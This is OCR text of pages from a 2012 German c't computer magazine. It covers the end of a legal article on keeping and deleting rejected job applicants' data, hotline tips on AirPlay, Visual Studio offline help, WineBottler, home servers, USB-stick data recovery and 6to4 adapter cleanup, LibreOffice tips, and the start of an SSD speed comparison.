den Privatbereich und haben im Bewer-
bungsformular nichts zu suchen (siehe Kas-
ten auf Seite 141). Dabei geht die Rechtspre-
chung schon seit Jahrzehnten von einem
pragmatischen Szenarium aus: Auch auf eine
eigentlich unzuldssige Frage wird ein Kandi-
datim Zweifelsfall doch antworten, um seine
Chancen auf den anvisierten Job nicht zu
schmadlern. In solchen Féllen raumt das BAG
Bewerbern gleichsam ein Recht aufs Liigen
ein. Unzuldssige Fragen darf ein Aspirant
falsch beantworten, ohne arbeitsrechtliche
Konsequenzen beflirchten zu mussen [8].

Sechs Monate reichen

Sobald ein vakanter Posten besetzt worden
ist, stellt sich gerade fir die IT-Verantwortli-
chen die Frage, was nun aus rechtlicher Sicht
mit den Profilen der abgelehnten Bewerber
einschlieBlich der mitgeschickten Dokumen-
te zu geschehen hat. Ganz allgemein besteht
hier nach § 35 Abs. 2 Nr. 3 BDSG die Pflicht,
die Daten zu l6schen, da das Bewerbungs-
verfahren abgeschlossen ist und die Daten
der nicht eingestellten Aspiranten nicht
mehr bendtigt werden.

Eine darliber, wann genau die
Loschung erfolgen muss, ldsst sich dem Ge-
setz jedoch nicht entnehmen. Auch andere
Gesetze liefern hierfurr keine Vorgabe. Auf
den ersten Blick konnte man davon aus-
gehen, dass die Daten sofort nach Abschluss
des Bewerbungsverfahrens zu |6schen sind.
Es gibt allerdings gute Griinde, das gerade
nicht zu tun: Das Allgemeine Gleichstellungs-
gesetz (AGG) verbietet es, Bewerber
aufgrund ihres Geschlechts, ihrer ethnischen
Herkunft beziehungsweise Rassenzugehdrig-
keit, ihres Alters, ihrer Religion, Weltan-
schauung, sexuellen Identitat oder aufgrund
einer Behinderung abzulehnen [9].

Wenn jemand eine Absage kassiert und vor
Gericht glaubhaft machen kann, dass diese -
unabhangig von den eventuell angegebenen
Motiven des Unternehmens - tatsachlich auf
einem der im AGG genannten Griinde beruht,
steht ihm monetarer Schadenersatz zu. Was er
verlangen kann, regelt § 15 AGG: Das Gericht
kann ihm bis zu drei Monatsgehalter der aus-
geschriebenen Stelle zusprechen. Die gleiche
Norm regelt aber auch, dass der verschmahte
Bewerber innerhalb von zwei Monaten nach
Erhalt der Absage seinen Anspruch schriftlich
geltend machen muss.

Dieser Zeitraum spielt eine groRe Rolle fiir
die Loschungsfrist von personenbezogenen
Daten der nicht eingestellten Bewerber.
SchlieBlich muss das Unternehmen im Fall
einer Klage auf Geldentschdadigung nach
dem AGG in der Lage sein nachzuweisen,
dass kein Diskriminierungsgrund zur Ableh-
nung gefiihrt hat. Dafiir braucht es die On-
line-Bewerbung mit den dort enthaltenen
Daten und Dokumenten.
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Abgesehen von dieser Zweimonatsfrist
ist aber auch noch eine Bestimmung aus
dem Arbeitsgerichtsgesetz (ArbGG) wichtig:
Nach § 61b ArbGG muss die Klage wegen
behaupteter Diskriminierung ,innerhalb
von drei Monaten, nachdem der Anspruch
schriftlich geltend gemacht worden ist, er-
hoben werden” [10]. Neben den genannten
Fristen ist ferner zu beachten, dass gerade
bei grofReren Firmen IT-seitig standardisier-
te Prozesse turnusgemdaB vorgenommen
werden, wozu auch die Léschung von Alt-
daten gehort. Mit den genannten Argumen-
ten lasst sich eine Léschungsfrist von maxi-
mal sechs Monaten nach dem Versand der
Absage gut vertreten.

Langer aufbewahren

Oft haben Unternehmen, aber auch bislang
erfolglose Bewerber ein hohes Interesse
daran, dass die Bewerbungsdaten uber
einen langeren Zeitraum als die genannten
sechs Monate hinweg gespeichert bleiben
sollen. Vielleicht ergibt sich ja zu einem spé-
teren Zeitpunkt, dass der frihere Kandidat
fur eine neu frei werdende Stelle in Betracht
kommt.

Wenn ein Bewerber gegentber dem Un-
ternehmen ausdricklich in die Speicherung
seiner Daten fur einen ldngeren Zeitraum
einwilligt, ist dagegen rechtlich nichts zu
sagen. Bei Webformularen darf eine Check-
box fir eine solche Einwilligung nicht vor-
angekreuzt sein; der Bewerber muss sein
Hakchen also bewusst setzen. Bei frei gestalt-
baren E-Mail-Bewerbungen bietet sich als
rechtssichere Variante fir die Einwilligung
das Double-Opt-in-Verfahren an [11].

Besondere Wiinsche

Abgesehen von der gewdhnlichen Lo6-
schungspflicht haben Unternehmen noch
weitere Verpflichtungen gegeniber abge-
lehnten Kandidaten. Mochte der einstige Be-
werber seine Daten nicht mehr beim Unter-
nehmen gespeichert sehen und widerspricht
er der weiteren Aufbewahrung, muss das
Unternehmen die Daten unverziglich 16-
schen. Das gilt auch dann, wenn der Aspirant
durch seine Einwilligung dem Vorhalten der
Daten flir einen langeren Zeitraum zuerst zu-
gestimmt hat.

Sprode darf sich ein Personalverantwort-
licher jedoch geben, wenn ein abgelehnter
Bewerber verlangt, dass man ihm den
Namen des Mitarbeiters nennt, der die von
ihm angestrebte Stelle bekommen hat. Als
Antwort auf eine vomBAG vorgelegte Frage
hat dazu jlingst der Europadische Gerichtshof
(EuGH) entschieden, dass ein Unternehmen
einem abgewiesenen Aspiranten nicht mit-
teilen muss, ob es statt seiner Uberhaupt
eine andere Person eingestellt hat [12]. Al-
lerdings hat der EuGH ebenfalls darauf hin-
gewiesen, dass die generelle Verweigerung
von Auskunften zum Ausgang eines Bewer-
bungsverfahrens durchaus ein Indiz fr eine
Diskriminierung darstellen kann.

Ein gangbarer Weg im Sinne eines fairen
Bewerbungsverfahrens kénnte fiir ein Unter-
nehmen darin bestehen, von vornherein das
Einverstandnis aller Bewerber dafiir einzuho-
len, dass es einem abgelehnten Kandidaten
auf Nachfrage mitteilt, wer letztendlich ein-
gestellt wurde. Ein solcher Weg, der im Sinne
aller Beteiligten fur Transparenz sorgt, wird
etwa von vielen Hochschulen bereits be-
schritten, wenn es um ausgeschriebene Pro-
fessorenstellen geht. (psz)

Der Autor ist Rechtsanwalt in Hamburg und be-
fasst sich schwerpunktmdBlig mit Datenrecht.
(info@kanzlei-kaufmann.de)
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Praxis | Hotline
H OTLI N E Sie erreichen uns

tber die E-Mail-
Adresse hotline@ct.de, per Telefon 0511/
5352-333 werktags von 13-14 Uhr, per
Brief (Anschrift auf S. 14) oder per Fax
0511/5352-417. Nutzen Sie auch das Hilfe-
Forum unter www.ct.de/hotline.

AirPlay nachriisten

besitze eine teure Stereo-Anlage, die

ich noch nicht zum alten Eisen geben

mochte. Gibt es eine Mdglichkeit, Musik von

meinem iPhone kabellos zu tibertragen? Wie
mache ich das am geschicktesten?

Apple bietet fur seine iOS-Gerate die Air-

Play-Funktion an. Mit ihr lassen sich
Video und Musik besonders einfach und ele-
gant per WLAN Ubertragen. Wenn Sie einen
Verstarker mit optischem SPDIF-Eingang
oder sogar HDMI besitzen, kénnen Sie Air-
Play mit dem Apple TV fiir 109 Euro nachris-
ten. Wenn Sie das Gerat einmalig an einem
Fernseher eingerichtet haben, kdnnen Sie es
danach auch ohne betreiben. Das funktio-
niert nicht nur im Musik-Player von iOS, son-
dern auch mit allen anderen Apps wie bei-
spielsweise Spotify. Die Ausgabe beginnt au-
tomatisch, wenn das Apple TV eingeschaltet
ist, ohne dass Sie an einem Bildschirm noch
etwas einstellen mussen.

Hat |hre Stereo-Anlage nur analoge An-
schlisse, so kdnnen Sie den AirPlay-Empfang
mit dem WLAN-Accesspoint Apple Airport
Express flir 99 Euro nachristen. Er hat einen
3,5-mm-Stereo-Klinken-Anschluss, den Sie
per Adapterkabel leicht mit anderen Klinken-
oder Cinch-Eingdngen verbinden kénnen. Er

Sobald ein AirPlay-Gerdt im Netzwerk
vorhanden ist, blenden iOS-Apps das
Airplay-Symbol ein. In der Liste kann man
dann die Bild- und Ton-Ausgabe einfach
umstellen. Alternativ findet man das
AirPlay-Symbol auch in der Steuerleiste
(Home-Button zweimal driicken und nach
rechts wischen). .
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Der alte wie der neue Airport Express
konnen AirPlay-Signale analog oder
optisch digital ausgeben.

gibt sowohl elektrische analoge wie auch op-
tische digitale Signale aus. Die Konfiguration
erledigt man Uber die kostenlose App ,Air-
port Dienstprogramm” direkt am iOS-Gerat.
Danach empfangt das Gerdt automatisch
den AirPlay-Musik-Stream. Das funktioniert
nattrlich nicht nur an Stereo-Anlagen,
sondern auch mit Aktiv-Lautsprechern und
Gettoblastern, solange sie einen analogen
Eingang haben.

Als glinstigere Alternativen findet man bei
einigen Herstellern Bluetooth-Adapter zum
Anschluss an die Stereo-Anlage. Allerdings
wird fiir die Bluetooth-Ubertragung das Mu-
siksignal erneut komprimiert. Darunter leiden
speziell die hohen Frequenzen, sodass bereits
auf Mittelklasse-Lautsprechern Qualitatsein-
buBen deutlich zu héren sind - selbst wenn
man keine Goldohren hat. AirPlay nutzt hin-
gegen den verlustfreien Apple Lossless
Codec mit 44,1 kHz, sodass die Ubertragung
sich nicht auf die Klangqualitat auswirkt.

Zwar bieten Hersteller wie Sennheiser und
Creative Labs spezielle Bluetooth-Adapter
fur i0S-Gerate mit Dock-Anschluss an, die
das bessere Kompressionsverfahren aptX
einsetzen. Diese sind mit 40 Euro aber recht
teuer und benétigen zudem eine aptX-
fahige Gegenstelle.

Bluetooth-Verbindungen funktionieren in
derRegel nicht durch Wénde hindurch. Bei ei-
nigen billigen Adaptern wie beispielsweise
von Belkin kann der Empfang in der Praxis be-
reits dann gestort werden, wenn keine Sicht-
verbindung zum Empfanger besteht oder die-
ser mehr als zwei bis drei Meter entfernt ist.
Nicht zuletzt klappen Verbindungsauf- und
-abbau nicht so einfach wiebeim AirPlay, son-
dern man muss im iOS-Setup oft langer her-
umfummeln, bis die Verbindung steht. (hag)

Offline-Hilfe fiir
Visual Studio Express

Beim néachsten langeren Aufenthalt im

Wochenendhaus mochte ich mich mit
Microsoft Visual Studio 2010 Express beschaf-
tigen. Dort gibt es aber nur einen Desktop-PC
ohne Internet-Anbindung. Ich habe mir
schon die CD mit den vier Sprachvarianten
gebrannt und eine Testinstallation gemacht.
Leider steht die Hilfe nur online bereit und ich
habe keinerlei Hilfe-Dateien zum Mitnehmen
gefunden. Kennen Sie eine Quelle?

Ja. Zunéchst sollten Sie wissen, dass die

kostenlosen Express-Versionen von Vi-
sual Studio 2010 aus der ISO-Zusammenstel-
lung nur 30 Tage laufen, dann starten sie
ohne Registrierung nicht mehr. Falls Sie also
langer bleiben, brauchen Sie einen Registrie-
rungs-Code fir jede Visual-Sprache (Visual
C#, C++ et cetera). Installieren Sie zu Hause
die Varianten, die Sie nutzen mochten und
fordern Sie jeweils dafiir aus dem Programm
heraus online einen Registrierungs-Code an.
Mit einem solchen Code kdnnen Sie mehrere
Programme des gleichen Typs auf verschie-
denen Rechnern freischalten.

Die Hilfe-Texte stehen fir die Express-Ver-
sionen weder auf einem Datentrdger noch
zum Download zur Verfliigung. Bei der Voll-
version Visual Studio 2010 auf DVD findet
man sie sehr wohl in einem separaten Ver-
zeichnis, auch bei der Trial-Version. Laut Mi-
crosoft unterliegt die Hilfe nicht den Nut-
zungsbeschrankungen des Hauptprogrammes.

Laden Sie sich also ein Trial-Paket von Vi-
sual Studio 2010 bei Microsoft herunter
(siehe c't-Link). Es sind vier gro3e Dateien mit
zusammen mebhr als 2 GByte. Die erste Datei,
eine Exe, baut daraus ein ISO-File zum Bren-
nen auf DVD. Insgesamt bendtigt diese Ak-
tion 4,5 GByte temporéren Platz auf der Plat-
te. Um nicht eine DVD nur fiir einen Transport
zu verschwenden, mounten Sie die ISO-Datei
als virtuelle DVD etwa mit dem WinCDEmu
aus dem heise Softwareverzeichnis (siehe c't-
Link) und kopieren sich das Hilfe-Verzeichnis
heraus. Danach kénnen Sie die Download-
Dateien sowie die ISO-Datei wieder l6schen.
Das herauskopierte Hilfe-Verzeichnis ,Pro-
ductDocumentation” ist etwa 1,17 GByte grof3
(1,3 GByte bei der deutschen Version) und
passt bequem auf einen Stick.

Auf dem Ziel-PC installieren Sie die ge-
wuinschte Visual-Studio-Version und rufen
anschlieBend im Menl unter Hilfe” mit
JHilfeeinstellungen verwalten” den Hilfe-
bibliotheks-Manager auf. Dieser sollte Ihnen
funf Funktionen anbieten. Beim ersten Auf-
ruf des Managers stehen die Funktionen ver-
mutlich noch nicht zur Verfligung. Sie mus-
sen das Fenster einmal mit OK schlieBen und
dann noch mal 6ffnen.

Nun wahlen Sie ,Inhalt von Datentrager
installieren” und wechseln zu lhrem Stick mit
dem Hilfe-Ordner. Darin befindet sich die
Datei ,HelpContentSetup.msha”, die der
Hilfe-Manager haben will. Nachdem Sie sie
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Uberden
Hilfebibliotheks-
Manager von
Visual Studio
2010lassensich
Hilfeinhalte
online oder von
Datentrager
abrufen undin £
die lokale
Bibliothek
speichern.

ausgewahlt haben, zeigt der Manager die In-
halte an, aus denen Sie sich die gewlinschten
Themen aussuchen und OK klicken. Zum
Schluss klicken Sie im Hilfe-Manager noch
oben auf ,Onlinehilfe oder lokale Hilfe” und
markieren darin lokale Hilfe. Sollte der OK-
Knopf ausgegraut sein, wechseln Sie einmal
von lokale auf Onlinehilfe und wieder zurlck,
dann sollte es funktionieren. Es kann sein,
dass die Inhalte dann immer noch nicht lokal
nutzbar sind. In dem Fall starten Sie einmal
Programm und PC neu; damit sollte alles wie
gewinscht zur Verfligung stehen. (bb)

www.ct.de/1215144

XMedia Recode auf dem Mac

mochte auf meinem Mac Videos ko-
dieren. In 't lese ich hdufig, dass sich

Praxis | Hotline

Hilfebibliotheks-Manager

Onlinehilfe oder lokale Hife auswahlen
Online nach Updates suchen

Inhalt von Onlinespeicherort installieren
Inhalt von Datentréger installieren

2<  Inhalt entfemen

Beenden

dafiir XMedia Recode gut eignet. Leider steht
die Software nur fur Windows zur Verfligung.
Gibt es da nicht einen Trick, wie ich die An-
wendung auf meinem Mac zum Laufen be-
komme?

Den gibt es in der Tat. Der ,Windows

Emulator” Wine fuhrt Windows-Anwen-
dungen auf dem Mac in separaten Fenstern
aus. Einfacher geht es allerdings mit dem
Wine-Ableger namens “WineBottler” (siehe
c't-Link). Er startet Windows-Software nicht
nur, sondern verpackt sie sogar in echte
Mac-Programme. Damit lassen sich Anwen-
dungen auch von Rechner zu Rechner mit-
nehmen.

Damit XMedia Recode auf dem Mac laufen
lernt, laden Sie sich die Installationsdatei he-
runter und fihren WineBottler aus. Ein Klick
auf Create Custom Prefixes ruft die Ansicht
zur Erstellung einer neuen App auf. Wahlen
Sie unter ,select File” den Installer von XMe-

Auf Updates..  Hife
Untertitel
00:00:48 MPEG4 AVC /H.264 60.00....
00:02:02 MPEG-4 AVC / H.264 60.00 ...
0002:10 MPEG-4 AVC/ H.264 60.00 ...
00:02:08 MPEG-4 AVC / H.264 60,00 ..
00:01:33 MPEG-4 AVC/ H.264 60.00 ..
00:02:11 MPEG-4AVC/ H.264 60.00
Taked.mov 00:01:48 MPEG-4 AVC/ H.264 60.00 .
Take 5 (schneller).mov 00:01:44 MPEG4 AVC/H.264 60.00 ...
XMedia Recode in Wine B. 00:02:29 MPEG-4 AVC / H.264 60.00 ...
Format | Video | Fitter/Vorschau| Jobs |
Ausgabeformat Ausgabe-Streama
@ Nurvideo € nursudio
H264 - G
Dateiendung
IVF (VP8)
M1V
M2TS
Codec: M2V
Mav
Matroska Audio
Codec: MatroskaVideo
MMF
MoV
MP2
Ausgabe: MP3 v
Zielordner. C\users\cttest\My Videos Durchsuchen
€ Uberschreiben & Nichtiiberschreiben (automatisch in <Dateiname +index>) Offnen.

Mit dem WineBottler bekommt man auch unter Mac OS X Xmedia Recode an den Start.
Die kostenlose Software transkodiert Videos nicht nur nach H.264.

c't2012, Heft 15
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dia Recode und bestétigen Uber die Schalt-
flaiche ,Open”.

Die Schaltflache ,Install” startet die eigent-
liche Installation des Programms. Geben Sie
hier einen Namen und den Speicherort fir
die App ein, in die Xmedia Recode verpackt
werden soll. Nach einem Klick auf ,Save” und
einer kurzen Wartezeit erscheint die Installa-
tionsroutine von Xmedia Recode. Wahlen Sie
die gewtinschte Sprache und klicken sich mit
,Weiter” durch die Installation. Entfernen Sie
im letzten Schritt das Hakchen neben ,XMe-
dia Recode starten” und klicken auf ,Fertig-
stellen”.

Zum Abschluss bestdtigen Sie die Start-
datei der Applikation und schon steht XMe-
dia Recode unter dem gewahlten Pfad fur Sie
bereit.

So verpackt lauft das Programm fast wie
unter Windows. Einziger Nachteil: Die Be-
dienoberflache startet in einem grof3en Fens-
ter mit weiBem Rand. (Florian Klan/vza)

www.ct.de/1215144

Sparsamer x86-Server

Mein Home-Server soll rund um die Uhr

laufen. Deshalb suche ich ein besonders
sparsames System. Eine fertige NAS-Box
kommt nicht infrage, weil ich mit verschiede-
nen Betriebssystemen experimentieren will,
etwa Linux, FreeNAS oder Windows Home
Server 2011. Taugt dafir ein Mini-PC wie die
Zotac Zbox ID81 oder ein Netbook?

Eher nicht, falls Sie mehr Speicherplatz
wiinschen, als die einzige 2,5-Zoll-Fest-
platte solcher Rechner fasst. Intern lassen sie
sich nicht mit groBeren Laufwerken aufris-

ten und USB hat Tlicken: Einerseits begrenzt
USB 2.0 die Datentransferrate auf rund
36 MByte/s, andererseits schluckt manche
externe 3,5-Zoll-Festplatte mehr als 12 Watt.
Sinnvoll wére also nur der Einsatz von exter-
nen 2,5-Zoll-Laufwerken mit USB 3.0. Doch
herumliegende Kabel und die vermutlich
nicht fir Dauerbetrieb ausgelegten Lufter in
Mini-PCs und Netbooks lassen keine hohe
Zuverldssigkeit erwarten. Gerdte mit Fast
Ethernet kommen ohnehin nicht infrage,
weil damit héchstens etwa 10 MByte/s mog-
lich sind - Gigabit Ethernet bringt mehr als
das Zehnfache.

Wie in ¢t 23/11 gezeigt, kann man einen
leisen Server auf Basis eines besonders effi-
zienten Micro-ATX-Mainboards mit Celeron
G530 und zwei 3,5-Zoll-Platten basteln, der
im Leerlauf mit 27 Watt auskommt. Mit 2,5-
Zoll-Platten sind Werte um 20 Watt erreich-
bar. Der erwédhnte Celeron liefert dabei min-
destens die doppelte Rechenleistung eines
Atom N2800 oder AMD E-450, die beide al-
lerdings fur File-Server ausreichen: Beim Zu-
griff auf grofle, unverschlisselte Dateien
kann man Gigabit Ethernet anndhernd aus-
reizen (rund 100 MByte/s). Beim Schreiben
mit einfacher AES-Verschlisselung sind blof3
etwa 35 MByte/s drin, beim Lesen dann mehr
als 80 MByte/s. Der Celeron G530 schafft
unter Windows Server liber 50 MByte/s auch
beim Schreiben verschlisselter Daten auf ein
Software-RAID-5.

Weil ein typischer Home-Server die meiste
Zeit mit Nichtstun verbringt, ist die Leis-
tungsaufnahme im Leerlauf fir die Strom-
kosten entscheidend. Die sparsamsten Note-
oder Netbooks kommen dann mit weniger
als 6 Watt aus, bei bezahlbaren Mini-Rech-
nern wie der Zbox ID81 sind es eher 15 Watt.
Zusammen mit einer externen 3,5-Zoll-Platte

Ein ,richtiger” Home Server kann mehr als ein aufgebrezelter

Mini-PC.
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In Nano-USB-
Sticks stecken oft
microSDHC-
Speicherkarten.
Mit etwas Gliick
lassen sich durch
Ausbau der Karte
die Daten auch
dannnochin
einem anderen
Kartenleser
auslesen, wenn
der eigentliche
Stick den Geist
aufgegeben hat.

werden leicht 25 Watt erreicht, also dhnliche
Werte wie beim erwdhnten Eigenbau-Server
oder auch dem in c't 3/12 vorgestellten Acer
AC100. Den gibt es fiir unter 500 Euro - aller-
dings ohne Betriebssystem, mit blof3 einer
Platte und 2 GByte RAM, was wegen der On-
board-GPU nicht fir Windows Home Server
2011 reicht. Bei Rund-um-die-Uhr-Betrieb an
allen 8760 Stunden eines Jahres und einem
Strompreis von 23 ct/kWh kostet jedes Watt
rund 2 Euro jahrlich - bei 25 Watt fallen also
zirka 50 Euro an. (ciw)

Daten von Nano-USB-Stick
retten

Mein daumennagelgro8er Nano-USB-

Stick hat seinen Geist aufgegeben und
wird von meinem Rechner nicht mehr er-
kannt. Gibt es noch eine Chance, die Daten
zu retten, ohne einen teuren professionellen
Datenretter damit zu beauftragen?

Sofern nur der Controller defekt ist und

nicht der Flash-Speicher an sich, konnten
Sie Gliick haben. In vielen Nano-USB-Sticks -
aber langst nicht allen, die diesen Namen tra-
gen - sind anders als in herkémmlichen Spei-
chersticks keine nackten Flash-Speicherchips
verl6tet, sondern es handelt sich im Prinzip
um eine Art Mini-Kartenleser, der Daten auf
einer microSDHC-Speicherkarte ablegt. Zur
Datenrettung kdénnen Sie versuchen, die mi-
croSDHC-Karte aus dem Gehduse zu l6sen
und die Daten anschlieBend mit einem ande-
ren USB-Kartenlesegerat auszulesen.

Um die microSDHC-Karte freizulegen, he-
beln Sie zunachst mit einer Zange die Metall-
spange der USB-Schnittstelle auf. Darunter
kommt dann ein Plastikrahmen zum Vor-
schein, in dem Platine und Speicherkarte ste-

cken. Knipsen Sie den Rahmen mit der Zange’

vorsichtig auf, achten Sie aber darauf, dass
Sie dabei nicht auch die Speicherkarte erwi-
schen. AnschlieBend kénnen Sie die Spei-
cherkarte aus dem Rahmen l6sen - manch-
mal hakt das ein wenig - et voila: Sie halten
Ihre Daten wieder in den Handen.

c't 2012, Heft 15

Seien Sie sich allerdings bewusst, dass
beim Zerlegen des Sticks auch das Risiko be-
steht, Daten unwiederbringlich zu zerstéren.
Offnen Sie den Stick also nur, wenn es keinen
anderen Ausweg gibt und eine professionelle
Datenrettung nicht infrage kommt. (boi)

Uberzihlige Tunneladapter
entfernen

bin mit meinem Windows-7-Note-
book oft in groBen WLANs unterwegs.
Ich habe beobachtet, dass sich dadurch stén-
dig neue ,6to4-Tunneladapter” installieren;
inzwischen sind es 147 Stiick. Da sie alle als
Schnittstellen in der Ausgabe von ipconfig
auftauchen, verdrangen sie die nitzlichen In-
formationen. Ich bekomme die bléden Tun-
nel zwar im Gerdtemanager zu sehen, wenn
ich unter ,Ansicht” den Punkt ,Ausgeblende-
te Gerdte anzeigen” auswahle. Doch kann ich
sie nur einzeln anklicken und 16schen, was
bei 147 Eintragen viel zu lastig ist. Geht das
nicht irgendwie automatisch?

Mit Microsofts Programm devcon.exe
lassen sich die meisten Aufgaben des
Geratemanagers auf der Kommandozeile er-
ledigen. Microsoft unterstitzt devcon zwar
nur bis Windows XP, aber es funktioniert
auch mit neueren Windows-Versionen.
Laden Sie sich das Programm Gber den c't-
Link unten herunter und entpacken Sie es. Sie
finden zwei Versionen fir 32- beziehungswei-
se 64-Bit-Windows in zwei Ordnern.
In einem Eingabefenster mit Administra-
torrechten geben Sie dann den Befehl:

devcon remove *6to4MP

ein. Der 16scht ohne weitere Nachfrage alle
6to4-Tunneladapter.

Vorsicht! Achten Sie darauf, dass Sie auf
keinen Fall hinter dem Stern ein Leerzeichen
eingeben. Denn dann entfernt devcon ohne
weitere Nachfrage samtliche Treiber aus
dem System. (je)

www.ct.de/1215144
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Grammatikpriifung nachriisten

Die Rechtschreibkorrektur von Libre-

Office reicht flir meine Zwecke nicht aus,
da sie nur einzelne Woérter, aber nicht den
Kontext prift. Kann man sie um eine Gram-
matikprifung erweitern?

Es gibt eine Extension namens Langua-

geTool, die LibreOffice und auch Open-
Office um eine Stil- und Grammatikprifung
erweitert. Sie unterstiitzt zahlreiche Spra-
chen wie Englisch, Deutsch, Franzésisch und
Polnisch, in denen sie einfache Grammatik-
fehler wie den falschen Gebrauch von Singu-
lar und Plural erkennt, arbeitet aber nicht so
zuverldssig wie Microsofts Grammatikpri-
fung in Word. Die LanguageTool-Extension
gibt es auf der LibreOffice-Website im Exten-
sions-Bereich zum Download (siehe c't-Link).

Online-Hilfe ohne Internet

Die Hilfe-Funktion benétigt eine Online-

Verbindung, um Texte aus dem Internet
zu laden. Da ich viel unterwegs bin und unter
anderem im Zug am Notebook arbeite, kann
ich sie nicht aufrufen. Kann man die Hilfe
auch lokal installieren?

Das ist moglich, nur liefert das LibreOffice-

Team sie nicht im Standardpaket mit.
Mit einem zusatzlichen Download, den Sie auf
der LibreOffice-Website finden (siehe c't-Link),
konnen Sie die Hilfetexte nachristen.

Datei-History erweitern

Das Datei-Meniu von LibreOffice zeigt

unter ,Zuletzt benutzte Dokumente” nur
zehn Dateien an. Kann ich die Liste dhnlich
wie in Word vergréBern? In.den Optionen
finde ich dafir keine Einstellung.

Die gibt es in der Tat nicht. Man kann die

ListengroBe aber Gber einen Eintrag in
der Konfigurationsdatei main.xcd anpassen,
die sich unterhalb des LibreOffice-Programm-
verzeichnisses im Ordner share\registry\ be-
findet und sich mit jedem Editor bearbeiten
lasst. Unter Windows 7 und Vista missen Sie
main.xcd zuvor in ein anderes Verzeichnis ko-
pieren und nach dem Andern mit Administra-
torrechten in den urspringlichen Ordner zu-
rlickkopieren. Suchen Sie in der Datei den
Eintrag PickListSize, dem der Wert 10 zuge-
ordnet ist. Diesen kénnen Sie mit einem be-
liebigen Wert zwischen 0 und 100 tberschrei-
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ben. Die Anderung wirkt sich global auf alle
Benutzer aus. Noch einfacher funktioniert es
mit der OpenOffice-Extension History Master
(siehe c't-Link), die auch in LibreOffice lauft
und ein paar Zusatzfunktionen mitbringt, um
etwa Listeninhalte zu verschieben.

Texte verformen

mochte in Writer Texte ahnlich wie in
Microsofts WordArt verformen und mit
Effekten versehen.

Ein solches Werkzeug ist in Writer einge-

baut, heilt hier nur Fontwork und lasst
sich Uber eine eigene Symbolleiste aufrufen,
die Sie unter Ansicht/Symbolleisten einblen-
den kénnen. In dieser findet sich links ein
Symbol mit dem Buchstaben A, Gber das Sie
die Fontwork Gallery aufrufen kdnnen. Dort
wahlt man einfach den gewlinschten Typ
aus und gibt seinen Text ein.

Bilder rotieren

habe zahlreiche Fotos in ein Writer-
Dokument eingefligt und mochte einige
davon um 90 Grad gegen den Uhrzeigersinn
vom Quer- ins Hochformat drehen. Im Kon-
textmend finde ich dafir aber keine Option.
In den Bild-Eigenschaften gibt es nur die
Maoglichkeit, Bilder horizontal oder vertikal zu
spiegeln.

In LibreOffice fehlt ebenso wie in Open-

Office eine Funktion zum Drehen von Bil-
dern. Sie konnen sich damit behelfen, jedes
Bild Uber die Zwischenablage nach Draw zu
kopieren, dort zu drehen und wieder zurlick
ins Writer-Dokument zu kopieren. Besser ist
es jedoch, die Bilder vorher auf Betriebs-
systemebene oder mit Hilfe eines separaten
Bildbearbeitungstools zu drehen, sodass sie
korrekt ausgerichtet auf der Festplatte ge-
speichert werden. Das spart das lastige Hin-
und Herkopieren.

Hyperlinks in Calc

einerCalc-Tabellehabeicheine Spalte

fur Weblinks vorgesehen. Nach Eingabe
der URL setzt die Autokorrektur-Funktion au-
tomatisch den Link, hinterlegt ihn aber mit
grauer Farbe. Da nicht die gesamte Zelle,
sondern nur der Text eingefarbt wird, sieht
das hésslich aus. AuBerdem schaffe ich es
nicht, die Schriftfarbe der URL zu dndern.

Zwar kann ich sie unter Format/Zellen aus-
wadhlen, die Einstellung wird aber nicht tber-
nommen. Wie kann ich Textfarbe und Zell-
hintergrund trotzdem einstellen?

Geben Sie die URL nicht direkt ein, son-

dern tippen den Befehl =HYPERLINK in die
Zelle oder die Eingabezeile, gefolgt von der
Webadresse in Klammern und Anfihrungs-
zeichen, also zum Beispiel =HYPERLINK(,http://
www.heise.de”). Optional kdnnen Sie einen belie-
bigen Text Uber den Link legen, den Calc an-
zeigt, wenn sich der Mauszeiger tber der Zelle
befindet: =HYPERLINK(,http://www.heise.de”;"heise on-
line”). Fehlt der zweite Parameter, zeigt Calc die
URL selbst an. Danach kdnnen Sie die Zelle
wie jede andere formatieren.

Damit Sie in einer bestehenden Tabelle
nicht jeden Eintrag per Hand @ndern mussen,
kénnen Sie neben der Spalte mit den Links
eine neue einfligen und in der ersten Zeile die
Hyperlink-Funktion eingeben. Als Parameter
setzen Sie einfach die Adresse der Zelle mit
der URL, etwa =HYPERLINK(D1). Anschlieend se-
lektieren Sie die neue Zelle, positionieren den
Mauszeiger an der rechten unteren Ecke und
ziehen das Kastchen bei gedriickter linker
Maustaste bis zum Ende der Spalte auf. Den
Zellbezug in der Hyperlink-Formel passt Calc
automatisch an. Danach empfiehlt es sich, die
Originalspalte zu verstecken, damit sie nicht
stort. Dazu selektiert man sie und klickt im
Kontextmenu auf Ausblenden. Wenn der Link
nicht anklickbar sein muss, knnen Sie auch
="www.heise.de” schreiben oder unter Extras/
Autokorrektur im Reiter Optionen den Haken
bei ,URL erkennen” wegnehmen.

Makros aufzeichnen

bin von OpenOffice auf LibreOffice
umgestiegen und vermisse hier die M6g-
lichkeit, Makros aufzuzeichnen. Im Extras-
Meni gibt es unter Makros nur Eintrdge, um
Makros auszufiihren und zu verwalten.

Der Makrorecorderistzwar auch in Libre-

Office enthalten, genuigt aber nicht den
Qualitatsansprichen der Entwickler. Deshalb
haben sie ihn standardmaBig deaktiviert. Sie
konnen ihn aber zum Vorschein holen, wenn
Sie in den LibreOffice-Einstellungen unter
Allgemein vor der Option ,Aktiviere experi-
mentelle (instabile) Funktionen” ein Hakchen
setzen. In den LibreOffice-Anwendungen er-
scheint dann unter Extras/Makros der Befehl
zum Aufzeichnen. (db)

www.ct.de/1215148
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Boi Feddern

Am Limit

Die Geschwindigkeit von SATA-II- und SATA-6G-SSDs in der Praxis

Solid-State Disks mit SATA-6G-Schnittstelle liefern das zweifache
Tempo von SATA-II-SSDs. Doch deshalb SATA 6G nachzuriisten
erfordert beim PC einen Mainboard-Tausch und beim Notebook

den Neukauf. Lohnt der Aufwand?

eue Solid-State Disks kommen mit

6 GBit/s schneller Serial-ATA-Schnitt-
stelle in den Handel und kénnen dartiber
theoretisch bis zu 600 Megabyte pro Sekun-
de Uibertragen. In der Praxis schaffen die mo-
mentan schnellsten Modelle etwas mehr als
500 MByte/s und verarbeiten Daten damit
knapp 50 Prozent schneller als SSDs mit der
nur 3 GBit/s schnellen SATA-II-Schnittstelle:
Die schaffen hochstens 270 MByte/s, liegen
damit aber immer noch rund 60 MByte/s vor
den bisher schnellsten Magnetplatten. Der
gréB3te Vorteil einer SSD gegenuber einer
herkdmmlichen Festplatte liegt jedoch nicht
